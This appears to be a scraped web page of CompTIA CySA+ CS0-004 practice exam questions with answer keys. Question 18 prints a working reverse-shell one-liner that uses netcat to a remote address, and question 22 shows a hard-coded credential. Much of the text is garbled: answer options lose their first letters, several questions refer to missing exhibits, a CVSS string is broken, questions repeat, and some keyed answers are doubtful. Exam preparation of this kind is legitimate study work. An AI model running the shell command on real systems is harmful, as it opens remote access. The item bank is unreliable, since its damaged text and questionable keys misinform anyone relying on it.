Free CompTIA CS0-004 Practice Questions & Answers 2026 Part5

Question #1

An organization would like to ensure its cloud infrastructure has a hardened configuration. A requirement is to create a server image that can be deployed with a secure template. Which of the following is the best resource to ensure secure configuration?

A. CIS Benchmarks

B. PCI DSS

C. OWASP Top Ten

D. ISO 27001

E. Reveal Answer

View answer

Correct Answer: A

Question #2

A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and begins the scan of the network. Which of the following would be missing from a scan performed with this configuration?

A. Operating system version

B. Registry key values

C. Open ports

D. IP address

View answer

Correct Answer: B

Question #3

An employee is suspected of misusing a company-issued laptop. The employee has been suspended pending an investigation by human resources. Which of the following is the best step to preserve evidence?

A. Disable the user's network account and access to web resources

B. Make a copy of the files as a backup on the server

C. Place a legal hold on the device and the user's network share

D. Make a forensic image of the device and create a SHA-1 hash

View answer

Correct Answer: D

Question #4

While reviewing web server logs, an analyst notices several entries with the same time stamps, but all contain odd characters in the request line. Which of the following steps should be taken next?

A. Shut the network down immediately and call the next person in the chain of command

B. Determine what attack the odd characters are indicative of

C. Utilize the correct attack framework and determine what the incident response will consist of

D. Notify the local law enforcement for incident response

View answer

Correct Answer: B

Question #5

During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its volatility level?

A. Disk contents

B. Backup data

C. Temporary files

D. Running processes

View answer

Correct Answer: D

Question #6

A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?

A. unction x() { info=$(geoiplookup $1) && echo "$1 | $info" }

B. unction x() { info=$(ping -c 1 $1 | awk -F "/" ’END{print $5}’) && echo "$1 | $info" }

C. unction x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F "

D. unction x() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo "$1 | $info" }

View answer

Correct Answer: C

Question #7

An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe?

A. Eradication

B. Recovery

C. Containment

D. Preparation

View answer

Correct Answer: A

Question #8

The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protectthis organization?

A. A mean time to remediate of 30 days

B. A mean time to detect of 45 days

C. A mean time to respond of 15 days

D. Third-party application testing

View answer

Correct Answer: A

Question #9

Which of the following items should be included in a vulnerability scan report? (Choose two.)

A. essons learned

B. ervice-level agreement

C. laybook

D. ffected hosts

E. isk score

F. ducation plan

View answer

Correct Answer: DE

Question #10

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?

A. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access

B. An on-path attack is being performed by someone with internal access that forces users into port 80

C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80

D. An error was caused by BGP due to new rules applied over the company's internal routers

View answer

Correct Answer: B

Question #11

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

A. Access rights

B. Network segmentation

C. Time synchronization

D. Invalid playbook

View answer

Correct Answer: C

Question #12

An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets. Which of the following steps of an attack framework is the analyst witnessing?

A. Exploitation

B. Reconnaissance

C. Command and control

D. Actions on objectives

View answer

Correct Answer: B

Question #13

An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation?

A. Scope

B. Weaponization

C. CVSS

D. Asset value

View answer

Correct Answer: B

Question #14

A payroll department employee was the target of a phishing attack in which an attacker impersonated a department director and requested that direct deposit information be updated to a new account. Afterward, a deposit was made into the unauthorized account. Which of the following is one of the first actions the incident response team should take when they receive notification of the attack?

A. Scan the employee's computer with virus and malware tools

B. Review the actions taken by the employee and the email related to the event

C. Contact human resources and recommend the termination of the employee

D. Assign security awareness training to the employee involved in the incident

View answer

Correct Answer: B

Question #15

A security analyst noticed the following entry on a web server log: Warning: fopen (http://127.0.0.1:16) : failed to open stream: Connection refused in /hj/var/www/showimage.php on line 7 Which of the following malicious activities was most likely attempted? The malicious activity that was most likely attempted is SSRF (Server-Side Request Forgery). This is a type of attack that exploits a vulnerable web application to make requests to other resources on behalf of the web server. In this case, the attacker tried to use the fopen function to access the local loopback address (127.0.0.1) on port 16, which could be a service that is not intended to be exposed to the public. The connection was refused, indicating that the port was closed or filtered. Reference: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 2: Software and Application Security, page 66.

A. XSS

B. CSRF

C. SSRF

D. RCE

View answer

Correct Answer: C

Question #16

The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protect this organization?

A. A mean time to remediate of 30 days

B. A mean time to detect of 45 days

C. A mean time to respond of 15 days

D. Third - party application testing

View answer

Correct Answer: A

Question #17

Which of the following is the most important reason for an incident response team to develop a formal incident declaration?

A. o identify and document staff who have the authority to declare an incident

B. o establish the department that is responsible for responding to an incident

C. o require that an incident be reported through the proper channels

D. o allow for public disclosure of a security event impacting the organization

View answer

Correct Answer: A

Question #18

A security analyst detected the following suspicious activity:rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/fWhich of the following most likely describes the activity?

A. Network pivoting

B. Host scanning

C. Privilege escalation

D. Reverse shell

E. Reveal Answer

View answer

Correct Answer: D

Question #19

A Chief Information Security Officer (CISO) has determined through lessons learned and an associated after-action report that staff members who use legacy applications do not adequately understand how to differentiate between non-malicious emails and phishing emails. Which of the following should the CISO include in an action plan to remediate this issue?

A. Awareness training and education

B. Replacement of legacy applications

C. Organizational governance

D. Multifactor authentication on all systems

View answer

Correct Answer: A

Question #20

An analyst receives threat intelligence regarding potential attacks from an actor with seemingly unlimited time and resources. Which of the following best describes the threat actor attributed to the malicious activity?

A. Insider threat

B. Ransomware group

C. Nation-state

D. Organized crime

View answer

Correct Answer: C

Question #21

During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner, and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the following actions should the analyst take first?

A. Clone the virtual server for forensic analysis

B. Log in to the affected server and begin analysis of the logs

C. Restore from the last known-good backup to confirm there was no loss of connectivity

D. Shut down the affected server immediately

View answer

Correct Answer: A

Question #22

A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application:getConnection(database01,"alpha" ,"AxTv.127GdCx94GTd");Which of the following is the most likely vulnerability in this system?

A. Lack of input validation

B. SQL injection

C. Hard-coded credential

D. Buffer overflow

View answer

Correct Answer: C

Question #23

Why is validating data integrity critical to forensic processes?

A. It ensures the system has not been compromised

B. It ensures the system has not been altered by the forensic examiner

C. It ensures the operating system version matches the expected version

D. It is required by the legal hold process

View answer

Correct Answer: B

Question #24

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

A. Access rights

B. Network segmentation

C. Time synchronization

D. Invalid playbook

View answer

Correct Answer: C

Question #25

A recent zero - day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero - day threat?

A. CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/1: K/A: L

B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L

C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H

D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

View answer

Correct Answer: A

Question #26

Which of the following describes the best reason for conducting a root cause analysis?

A. The root cause analysis ensures that proper timelines were documented

B. The root cause analysis allows the incident to be properly documented for reporting

C. The root cause analysis develops recommendations to improve the process

D. The root cause analysis identifies the contributing items that facilitated the event

View answer

Correct Answer: D

Question #27

A security analyst received a malicious binary file to analyze. Which of the following is the besttechnique to perform the analysis?

A. ode analysis

B. tatic analysis

C. everse engineering

D. uzzing

View answer

Correct Answer: C

Question #28

Which of the following issues makes both cloud and virtualized environments more difficult to perform forensics on?

A. Systems may be ephemeral

B. Other organizations manage them

C. No forensic tools work in both environments

D. Drive images cannot be verified

View answer

Correct Answer: A

Question #29

Given the following CVSS string:CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HWhich of the following attributes correctly describes this vulnerability?

A. A user is required to exploit this vulnerability

B. The vulnerability is network based

C. The vulnerability does not affect confidentiality

D. The complexity to exploit the vulnerability is high

View answer

Correct Answer: B

Question #30

Which Of the following techniques would be best to provide the necessary assurance for embedded software that drives centrifugal pumps at a power Plant?

A. Containerization

B. Manual code reviews

C. Static and dynamic analysis

D. Formal methods

E. Reveal Answer

View answer

Correct Answer: D

Question #31

A company is in the process of implementing a vulnerability management program. Which of the following scanning methods should be implemented to minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process?

A. Non-credentialed scanning

B. Passive scanning

C. Agent-based scanning

D. Credentialed scanning

View answer

Correct Answer: B

Question #32

New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure newemployees are accountable for following the company policy?

A. Human resources must email a copy of a user agreement to all new employees

B. Supervisors must get verbal confirmation from new employees indicating they have read the user agreement

C. All new employees must take a test about the company security policy during the onboardmg process

D. All new employees must sign a user agreement to acknowledge the company security policy

View answer

Correct Answer: D

Question #33

The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protect this organization?

A. A mean time to remediate of 30 days

B. A mean time to detect of 45 days

C. A mean time to respond of 15 days

D. Third-party application testing

View answer

Correct Answer: A

Question #34

Which of the following describes the best reason for conducting a root cause analysis?

A. The root cause analysis ensures that proper timelines were documented

B. The root cause analysis allows the incident to be properly documented for reporting

C. The root cause analysis develops recommendations to improve the process

D. The root cause analysis identifies the contributing items that facilitated the event

View answer

Correct Answer: D

Question #35

Which of the following best describes the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m.?

A. SLA

B. LOI

C. MOU

D. KPI

View answer

Correct Answer: A

Question #36

A cross-site scripting attack is an example of what type of threat vector?

A. Impersonation

B. Email

C. Attrition

D. Web

View answer

Correct Answer: D

Question #37

A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment?

A. The current scanners should be migrated to the cloud

B. Cloud-specific misconfigurations may not be detected by the current scanners

C. Existing vulnerability scanners cannot scan IaaS systems

D. Vulnerability scans on cloud environments should be performed from the cloud

View answer

Correct Answer: B

Question #38

Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet. Which of the following would be the best action for the incident response team to recommend?

A. Isolate Joe's PC from the network

B. Reimage the PC based on standard operating procedures

C. Initiate a remote wipe of Joe's PC using mobile device management

D. Perform no action until HR or legal counsel advises on next steps

View answer

Correct Answer: D

Question #39

Which of the following describes the best reason for conducting a root cause analysis?

A. The root cause analysis ensures that proper timelines were documented

B. The root cause analysis allows the incident to be properly documented for reporting

C. The root cause analysis develops recommendations to improve the process

D. The root cause analysis identifies the contributing items that facilitated the event

View answer

Correct Answer: D

Question #40

A manufacturer has hired a third-party consultant to assess the security of an OT network that includes both fragile and legacy equipment Which of the following must be considered to ensure the consultant does no harm to operations?

A. reserving the state of PLC ladder logic prior to scanning

B. unning scans during off-peak manufacturing hours

C. mploying Nmap Scripting Engine scanning techniques

D. sing passive instead of active vulnerability scans

View answer

Correct Answer: D

Question #41

An analyst is reviewing a vulnerability report and must make recommendations to the executiveteam. The analyst finds that most systems can be upgraded with a reboot resulting in a singledowntime window. However, two of the critical systems cannot be upgraded due to a vendorappliance that the company does not have access to. Which of the following inhibitors toremediation do these systems and associated vulnerabilities best represent?

A. roprietary systems

B. egacy systems

C. nsupported operating systems

D. ack of maintenance windows

View answer

Correct Answer: A

Question #42

An incident response team found IoCs in a critical server. The team needs to isolate and collecttechnical evidence for further investigation. Which of the following pieces of data should becollected first in order to preserve sensitive information before isolating the server?

A. ard disk

B. rimary boot partition

C. alicious tiles

D. outing table

E. tatic IP address

View answer

Correct Answer: A

Question #43

Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?

A. etermine the sophistication of the audience that the report is meant for

B. nclude references and sources of information on the first page

C. nclude a table of contents outlining the entire report

D. ecide on the color scheme that will effectively communicate the metrics

View answer

Correct Answer: A

Question #44

During an incident, the legal department instructs the response team not to delete or alter logs related to a compromised database. What has likely been issued?

A. Risk exception

B. Legal hold

C. Scan waiver

D. Service-level objective

View answer

Correct Answer: B

Question #45

A company receives a penetration test report summary from a third party. The report summary indicates a proxy has some patches that need to be applied. The proxy is sitting in a rack and is not being used, as the company has replaced it with a new one. The CVE score of the vulnerability on the proxy is a 9.8. Which of the following best practices should the company follow with this proxy?

A. Leave the proxy as is

B. Decomission the proxy

C. Migrate the proxy to the cloud

D. Patch the proxy

View answer

Correct Answer: B

Question #46

A company receives a penetration test report summary from a third party. The report summary indicates a proxy has some patches that need to be applied. The proxy is sitting in a rack and is not being used, as the company has replaced it with a new one. The CVE score of the vulnerability on the proxy is a 9.8. Which of the following best practices should the company follow with this proxy?

A. Leave the proxy as is

B. Decomission the proxy

C. Migrate the proxy to the cloud

D. Patch the proxy

View answer

Correct Answer: B

Question #47

An analyst is evaluating the following vulnerability report:Which of the following vulnerability report sections provides information about the level of impact on data confidentiality if a successful exploitation occurs?

A. etrics

B. ayloads

C. ulnerability

D. rofile

View answer

Correct Answer: A

Question #48

Which of the following would help to minimize human engagement and aid in process improvement in security operations?

A. OSSTMM

B. SIEM

C. SOAR

D. OWASP

View answer

Correct Answer: C

Question #49

A security manager reviews the permissions for the approved users of a shared folder and finds accounts that are not on the approved access list. While investigating an incident, a user discovers data discrepancies in the file.

A. Filesystem anomaly

B. Illegal software

C. Unauthorized changes

D. Data exfiltration

View answer

Correct Answer: C

Question #50

Which of the following items should be included in a vulnerability scan report? (Choose two.)

A. Lessons learned

B. Service-level agreement

C. Playbook

D. Affected hosts

E. Risk score

F. Education plan

View answer

Correct Answer: DE

Question #51

A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and begins the scan of the network. Which of the following would be missing from a scan performed with this configuration?

A. Operating system version

B. Registry key values

C. Open ports

D. IP address

View answer

Correct Answer: B

Question #52

An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?

A. Proprietary systems

B. Legacy systems

C. Unsupported operating systems

D. Lack of maintenance windows

View answer

Correct Answer: A

Question #53

What NIST publication contains guidance on cybersecurity incident handling?

A. SP 800-53

B. SP 800-61

C. SP 800-18

D. SP 800-88

View answer

Correct Answer: B

Question #54

Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?

A. Develop a call tree to inform impacted users

B. Schedule a review with all teams to discuss what occurred

C. Create an executive summary to update company leadership

D. Review regulatory compliance with public relations for official notification

View answer

Correct Answer: B

Question #55

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

A. Access rights

B. Network segmentation

C. Time synchronization

D. Invalid playbook

View answer

Correct Answer: C

Question #56

A security analyst reviews the following extract of a vulnerability scan that was performed against the web server:

A. Remove the version information on http-server-header

B. Disable tcp_wrappers

C. Delete the /wp-login

D. Close port 22

View answer

Correct Answer: A

Question #57

A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the following script:Which of the following scripting languages was used in the script?

A. PowerShell

B. Ruby

C. Python

D. Shell script

View answer

Correct Answer: A

Question #58

The analyst reviews the following endpoint log entry:Which of the following has occurred?

A. Registry change

B. Rename computer

C. New account introduced

D. Privilege escalation

View answer

Correct Answer: C

Question #59

A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user's workstation, to build the case for the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies?

A. Create a timeline of events detailing the date stamps, user account hostname and IP information associated with the activities

B. Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the investigation

C. Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identify the case as an HR-related investigation

D. Notify the SOC manager for awareness after confirmation that the activity was intentional

View answer

Correct Answer: B

Question #60

An organization wants to establish a disaster recovery plan for critical applications that are hosted on premises. Which of the following is the first step to prepare for supporting this new requirement?

A. Choose a vendor to utilize for the disaster recovery location

B. Establish prioritization of continuity from data and business owners

C. Negotiate vendor agreements to support disaster recovery capabilities

D. Advise the leadership team that a geographical area for recovery must be defined

View answer

Correct Answer: B

Question #61

An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation?

A. cope

B. eaponization

C. VSS

D. sset value

View answer

Correct Answer: B

DON'T WANT TO MISS A THING?

Latest Cisco, PMP, AWS, CompTIA, Microsoft Materials on SALE
Get Now

Free CompTIA CS0-004 Practice Questions & Answers 2026 Part5 | CompTIA CySA+

View The Updated CS0-003 Exam Questions

View The Updated CompTIA Exam Questions

View Answers after Submission

DON'T WANT TO MISS A THING?

Latest Cisco, PMP, AWS, CompTIA, Microsoft Materials on SALE Get Now

Free CompTIA CS0-004 Practice Questions & Answers 2026 Part5 | CompTIA CySA+

View The Updated CS0-003 Exam Questions

View The Updated CompTIA Exam Questions

View Answers after Submission

Latest Cisco, PMP, AWS, CompTIA, Microsoft Materials on SALE
Get Now